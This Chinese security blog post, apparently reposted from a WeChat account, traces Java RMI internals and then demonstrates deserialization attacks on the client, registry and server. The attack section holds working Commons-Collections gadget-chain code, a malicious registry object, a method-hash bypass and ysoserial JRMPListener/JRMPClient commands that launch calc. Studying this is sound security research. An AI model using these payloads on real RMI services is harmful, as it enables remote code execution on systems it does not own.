RMI反序列化初探

admin 2023年3月7日10:59:57评论37 views字数 13535阅读45分7秒阅读模式

RMI

关于RMI这部分的学习:Java RMI 攻击由浅入深 | 素十八 以及 RMI反序列化漏洞之三顾茅庐-流程分析 | Halfblue,大佬们的文章就是这么有营养,再推个视频:Java反序列化RMI专题

RMI,即 Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架,实现RMI的协议叫JRMP,RMI实现的过程中进行了java对象的传递,自然使用了序列化和反序列化,也自然产生了反序列化漏洞。

过程

首先引入两个概念:存根(stub) 以及 服务端骨架(skeletons)

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

那么RMI的整个调用过程如下:

当客户端调用远程对象方法时, 存根 负责把要调用的远程对象方法的方法名及其参数编组打包,并将该包向下经远程引用层、传输层 转发给远程对象所在的服务器。通过 RMI 系统的 RMI 注册表 实现的简单服务器名字服务, 可定位远程对象所在的服务器。该包到达服务器后, 向上经远程引用层, 被远程对象的 Skeleton 接收, 此 Skeleton 解析客户包中的方法名及编组的参数后, 在服务器端执行客户要调用的远程对象方法, 然后将 该方法的返回值( 或产生的异常) 打包后通过相反路线返回给客户端, 客户端的 Stub 将返回结果解析后传递给客户程序。

分开来说:

  • 1、客户调用客户端辅助对象stub上的方法

  • 2、客户端辅助对象stub打包调用信息(变量、方法名),通过网络发送给服务端辅助对象skeleton

  • 3、服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象

  • 4、调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton

  • 5、服务端辅助对象将结果打包,发送给客户端辅助对象stub

  • 6、客户端辅助对象将返回值解包,返回给调用者

  • 7、客户获得返回值

那么以两张图片来总结

RMI反序列化初探

RMI反序列化初探

代码实现

首先客户端与服务端都需要定义一个能够远程调用的接口,此接口必须扩展 java.rmi.Remote 接口,这个接口中的所有方法都必须声明抛出 java.rmi.RemoteException 异常

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {

String sayHello() throws RemoteException;
String sayGoodbye() throws RemoteException;
}

然后创建一个远程接口的实现类,在这个类中重写方法是执行真正的代码逻辑的地方,通常会扩展 java.rmi.server.UnicastRemoteObject 

类,扩展此类后,RMI 会自动将这个类 export 给远程想要调用它的 Client 端。这里必须为这个实现类提供一个构造函数并且抛出 RemoteException。

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloworld extends UnicastRemoteObject implements Hello {
protected RemoteHelloworld() throws RemoteException {
// 因为 UnicastRemoteObject 构造器抛出 RemoteException
// 所以此处只能声明一个构造器并抛出对应异常
}

@Override
public String sayHello() throws RemoteException {
System.out.println("hello world");
return "hello world";
}

@Override
public String sayGoodbye() throws RemoteException {
System.out.println("Bye");
return "Bye";
}
}

接下来通过 Registry 使用注册来查找一个远端对象的引用,我们通常使用 LocateRegistry#createRegistry() 方法来创建注册中心,然后使用bind进行绑定


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {

Registry r = LocateRegistry.createRegistry(1099);
System.out.println("Registry Start");
RemoteHelloworld remoteHelloworld = new RemoteHelloworld();
r.bind("hello",remoteHelloworld);
}
}

然后客户端进行调用:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws Exception {
//获取注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Hello stub = (Hello) registry.lookup("hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}

源码分析

深入源码进行分析

远程对象的创建

这一部分的源码大多是设计到TCP的一些类,多层的封装,写的代码相当的绕。

那么首先我们创建了一个远程对象

RemoteHelloworld remoteHelloworld = new RemoteHelloworld();

那么这个类继承了 UnicastRemoteObject ,我们来断点调试一下,在调用类的构造方法时会走到 UnicastRemoteObject 的构造方法,传入port默认为0

RMI反序列化初探

调用其exportObject方法,从名字可以看出,该方法会将我们的远程对象进行一个导出,所以重点看一下这个方法,该方法接受port后创建了一个 UnicastServerRef 的对象,其中 UnicastServerRef 类主要与TCP等网络链接相关,那么其中存在着多层的封装,这里就不再进行分析,关于这一部分的详细RMI源码分析:RMI源码分析 - 腾讯云开发者社区

RMI反序列化初探

接着往下,其中ref(LiveRef类)为真正处理TCP网络相关的。

RMI反序列化初探

return时又进入了 UnicastServerRef#exportObject ,定义了stub即存根,通过 sun.rmi.server.Util#createProxy() 创建代理

RMI反序列化初探

可以看到创建了一个动态代理

RMI反序列化初探

返回后,创建 sun.rmi.transport.Target 对象,使用这个 target 对象封装了我们远程执行方法和生成的动态代理类(Stub)。

RMI反序列化初探

接着调用 LiveRef#exportObject 将target发布,接着往下跟到了 TCPTransport#exportObject,首先通过 listen() 为本地的stub开启了一个随机的端口。

RMI反序列化初探

然后调用 TCPTransport#exportObject 方法将 target 实例注册到 ObjectTable 中。ObjectTable 用来管理所有发布的服务实例 Target,ObjectTable 提供了根据 ObjectEndpoint 和 Remote 实例两种方式查找 Target 的方法(不同参数的 getTarget 方法)。

RMI反序列化初探

ObjectTable#putTarget ,最后将target 添加到 objTable 中

RMI反序列化初探

总结:

RMI反序列化初探

注册中心的创建

注册中心的创建通过

Registry r = LocateRegistry.createRegistry(1099);

实例化了 RegistryImpl 并传入默认端口1099

RMI反序列化初探

创建LiveRef对象用于网络相关,然后创建 UnicastServerRef 对象,调用setup方法

RMI反序列化初探

在setup方法中依然调用 UnicastServerRef 的 exportObject 方法去 export 对象,只不过这次export的是 RegistryImpl 这个对象。

RMI反序列化初探

熟悉的配方 通过createProxy()创建动态代理

RMI反序列化初探

但是这里与创建远程对象有一点的不同,这里有一个 stubClassExists 的判断,如果为真,则调用 cerateStub() 后直接返回

RMI反序列化初探

来看一下判断,去获取要创建代理的类的名字加上 _Stub 是否存在

RMI反序列化初探

这里是存在的

RMI反序列化初探

然后在createStub中,通过构造方法返回一个 RegistryImpl_Stub 实例对象

RMI反序列化初探

RegistryImpl_Stub 继承了 RemoteStub ,实现了 Registry。这个类实现了 bind/list/lookup/rebind/unbind 等 Registry 定义的方法,全部是通过序列化和反序列化来实现的。

createProxy 创建完代理类之后进入 setSkeleton()

RMI反序列化初探

其中通过Util#createSkeleton方法创建 skeleton。skel接收返回值

RMI反序列化初探

去实例化一个 RegistryImpl_Skel 对象,返回到 UnicastServerRef 的 this.skel 中

RMI反序列化初探

结束完 setSkeleton() 之后,剩下的export步骤一样,创建target对象进行封装,然后放入到 objTable 中

来看一下objTable中的值,目前有三个

第一个为DGC为垃圾回收,默认创建

RMI反序列化初探

第二个为创建的远程对象,stub为动态代理对象,skel为空

RMI反序列化初探

第三个为注册中心,stub为 RegistryImpl_Stub 对象,skel为 RegistryImpl_Skel 对象

RMI反序列化初探

服务的注册

这里就是对于 bind 操作的过程

r.bind("hello",remoteHelloworld);

通常情况下,如果 Server 端和 Registry 在同一机器,我们可以直接调用 Registry 的 bind 方法进行绑定,具体实现在 RegistryImpl 的 bind 方法,就是将 Remote 对象和名称 String 放在成员变量 bindings 中,这是一个 Hashtable 对象。

RMI反序列化初探

客户端请求注册中心-客户端

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

LocateRegistry#getRegistry() 首先通过传入的host与port创建了一个liveref用于网络请求,然后通过UnicastRef进行封装,然后与注册中心的代理注册逻辑一样,创建了相同的一个 RegistryImpl_Stub 对象

RMI反序列化初探

接下来通过lookup方法与registry端通信,查找远程对象从而获取存根

Hello stub = (Hello) registry.lookup("hello");

方法的开始通过newCall与registry进行通信,下面分为三个部分:

  1. 通过序列化将要查找的name写到输出流里面

  2. 调用UnicastRef的 invoke 方法,invoke中调用 StreamRemoteCall#executeCall,去释放输出流

  3. 获取输入流,将返回值进行 反序列化

第三步返回值经过反序列化之后就是获取的注册中心的动态代理stub

RMI反序列化初探

这里有两个可攻击的点,一个是在lookup中的反序列化的点,可通过registry返回恶意类。二是在executeCall中,如果返回值为异常,进入case中会进行反序列化。

RMI反序列化初探

那么lookup中的反序列化在其他的方法中并不普遍存在,例如bind等方法是没有的,但是这些方法都有invoke的调用,即都有可能进入case中,所以invoke中的反序列化点存在普遍性,利用范围也更大。

客户端请求注册中心-注册中心端

Hello stub = (Hello) registry.lookup("hello");

在 Registry 端,由 sun.rmi.transport.tcp.TCPTransport#handleMessages 来处理请求,调用 serviceCall 方法处理。

断点下到 handleMessages 中

RMI反序列化初探

serviceCall 方法中从 ObjectTable 中获取封装的 Target 对象,并获取其中的封装的 UnicastServerRef 以及 RegistryImpl 对象。然后调用 UnicastServerRef 的 dispatch 方法

RMI反序列化初探

因为skel不为空,判定为registery,就调用了 oldDispatch,这里判断了 this.skel 是否为空,用来区别自己是 Registry 还是 Server。

RMI反序列化初探

调用 RegistryImpl_Skel#dispatch

RMI反序列化初探

RegistryImpl_Skel 的 dispatch 方法根据流中写入的不同的操作类型分发给不同的方法处理,例如 0 代表着 bind 方法,2 代表lookup方法,这里为lookup,通过 反序列化获取要查找的值,然后调用 RegistryImpl#lookup()

RMI反序列化初探

lookup从bindings中进行get获取

RMI反序列化初探

这里存在一个反序列化的点,可通过客户端攻击Registry端。

获取完后返回 RegistryImpl_Skel#dispatch,将获取的值序列化传过去

RMI反序列化初探

客户端请求服务端-客户端

接下来客户端调用服务端的远程对象

stub.sayHello();

因为获取的是动态代理,所以走到 RemoteObjectInvocationHandler#invoke,跳过几个if判断后走到 invokeRemoteMethod

RMI反序列化初探

在 invokeRemoteMethod 中实际是委托 RemoteRef 的子类 UnicastRef#invoke 方法执行调用。

RMI反序列化初探

UnicastRef 的 invoke 方法是一个建立连接,执行调用,并读取结果并反序列化的过程。这里,UnicastRef 包含属性 LiveRef ,LiveRef 类中的 Endpoint、Channel 封装了与网络通信相关的方法。

RMI反序列化初探

如果方法有参数,调用 marshalValue 将参数写入到输出流,然后调用 executeCall

RMI反序列化初探

executeCall中通过 releaseOutputStream() 释放输出流,触发调用。

RMI反序列化初探

executeCall之后,接受返回的输入流,通过 unmarshalValue() 去反序列化接受返回值

RMI反序列化初探

RMI反序列化初探

客户端请求服务端-服务端

依然是 handleMessages 中的 UnicastServerRef 的 dispatch ,可以对比着 客户端请求注册中心-注册中心端 来看

在客户端释放输出流后,服务端通过getInputStream()获取输入流。

RMI反序列化初探

跳过if,获取method名称,unmarshalValue用来 反序列化传入的参数

RMI反序列化初探

接着,在释放输入流后,反射调用

RMI反序列化初探

服务端再将返回值通过marashalvalue序列化传给客户端

RMI反序列化初探

DGC

在远程对象的创建一节,知道了 服务端 通过 ObjecyTable#putTarget 将注册对象put到objTable中,其中有默认的DGCImpl对象

RMI反序列化初探

来看一下产生的代码:调用静态变量dgcLog,那么当调用一个类的静态变量的时候是会对类进行类初始化

RMI反序列化初探

跟进发现静态代码块,使用单例模式创建了一个DGCImpl对象,这个对象就是RMI的分布式垃圾处理对象,一旦有远程对象被创建,就会实例化这个对象,但也只会创建这一次。DGC的创建模式 类似于注册中心 的创建也是系统的内置类,所以是直接创建了 DGCImpl_Stub类,而不是创建的动态代理。并且设置了disp的skeleton是 DGCImpl_Skel。最后同样把这些放进Target,把Target保存进ObjectTable。

RMI反序列化初探

那么在 客户端 进行调用时会不会也同请求注册中心一样,在本地生成一个DGCImpl_Stub?答案为是的。

在 RegistryImpl_Stub#lookup的ref.done中,在接受服务端的返回值后,通过done的后续调用创建DGCImpl_Stub,并调用了其中的 DGCImpl_Stub#dirty

RMI反序列化初探

关注一下dirty函数,两个点 1. invoke触发UnicastRef的execCall从而进入switch反序列化。2.获取输入流,readObject

RMI反序列化初探

再看一下 服务端 ,依然是 handleMessages 中的 UnicastServerRef 的 dispatch ,skel不为空进入 oldDispatch 最后进入DGCImpl_Skel#dispatch。两个case语句,一个clean方法基本不会调用,另一个case为dirty部分,两个case中都调用了readObject,存在反序列化攻击点

RMI反序列化初探

攻击思路

整体的RMI流程已经基本分析,可以看到不管是Server端,Registry端和Client端都存在反序列化利用的点。其实说白了就跟那排列组合没啥区别。

1、攻击客户端:

RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端

2、攻击服务端

UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端

3、攻击注册中心

RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

攻击实现

大老总结图

RMI反序列化初探

客户端攻击服务端

服务端的UnicastServerRef#dispatch调用了unmarshalValue。如果服务端就收的是object,那么客户端把参数设置成payload就能攻击了。如果是其他类型下面再讨论

Server端定义接受Object

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {

String sayHello(Object name) throws RemoteException;
}

Client

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
public static void main(String[] args) throws Exception {
//获取注册中心
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Hello stub = (Hello) registry.lookup("hello");
stub.sayHello(getpayload());
}

public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
//Map lazymap = LazyMap.decorate(map, chainedTransformer);
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
return hashmap;
}
}

如果服务端接受的类型为String,那么在服务端就会找不到对应的调用方法,这个对应方法,是在 UnicastServerRef 的 dispatch 方法中在 this.hashToMethod_Map 中通过 Method 的 hash 来查找的。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

RMI反序列化初探

在客户端的 

RemoteObjectInvocationHandler#invokeRemoteMethod是计算method的hash地方,我们可以下断点到这里,然后在计算hash之前修改method的值为String

methos=ClassLoader.getSystemClassLoader().loadClass("org.example.IRemoteObj").getDeclaredMethod("sayHello",String.class)

RMI反序列化初探

或者重写invoke

    public static void main(String[] args) throws Exception {
RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
// HashMap evilMap = genEvilMap();
// remoteObj.sayHello(evilMap);
invoke(remoteObj);
}

public static void invoke(IRemoteObj remoteObj) throws Exception{
Field hField = remoteObj.getClass().getSuperclass().getDeclaredField("h");
hField.setAccessible(true);
Object remoteObjectInvocationHandler = hField.get(remoteObj);

Field refField = remoteObjectInvocationHandler.getClass().getSuperclass().getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(remoteObjectInvocationHandler);

Method method = IRemoteObj.class.getDeclaredMethod("sayHello", String.class);

Method methodToHash_mapsMethod = remoteObjectInvocationHandler.getClass().getDeclaredMethod("getMethodHash",Method.class);
methodToHash_mapsMethod.setAccessible(true);
long hash = (long) methodToHash_mapsMethod.invoke(remoteObj, method);

ref.invoke(remoteObj, method, new Object[]{genEvilMap()}, hash);
}

注册中心攻击客户端

客户端通过调用lookup,list等,会反序列化从注册中心发送的东西,注册中心只要绑定一个恶意的对象即可

Server

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
new RemoteHelloworld();
Remote Evil = new Evil();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("hello",Evil);
}
}

Evil.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

class Evil implements Remote, Serializable {

private Map map;

Evil() throws Exception {
this.map = getpayload();
}
public static Map<Object, Object> getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
//Map lazymap = LazyMap.decorate(map, chainedTransformer);
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
return hashmap;
}
}

攻击JRMP客户端

只要客户端的stub发起JRMP请求,就会调用UnicastRef#invoke,也就会调用StreamRemoteCall#executeCall,导致被反序列化攻击。这里想实现攻击需要自己实现一个恶意服务端,把返回的异常信息改成payload,这里利用ysoserial里面的exploit/JRMPListener,去起一个假的Server

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

DGC攻击服务端

这块有点复杂。

java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 calc.exe

结语

简单了解了一下RMI的流程以及攻击面,其中细节以及攻击的实现,以及后续的jdk修复以及绕过等等还有很多要学习,但是深感自身的不足,能力有限。

参考

Java RMI 攻击由浅入深 | 素十八

RMI反序列化漏洞之三顾茅庐-流程分析 | Halfblue

RMI反序列化漏洞之三顾茅庐-攻击实现 | Halfblue

JAVA 协议安全笔记-RMI篇

针对RMI服务的九重攻击上

【技术干货】RMI-攻击方式总结

RMI-攻击方式总结

原文始发于微信公众号(Arr3stY0u):RMI反序列化初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月7日10:59:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RMI反序列化初探https://cn-sec.com/archives/1591525.html

发表评论

匿名网友 填写信息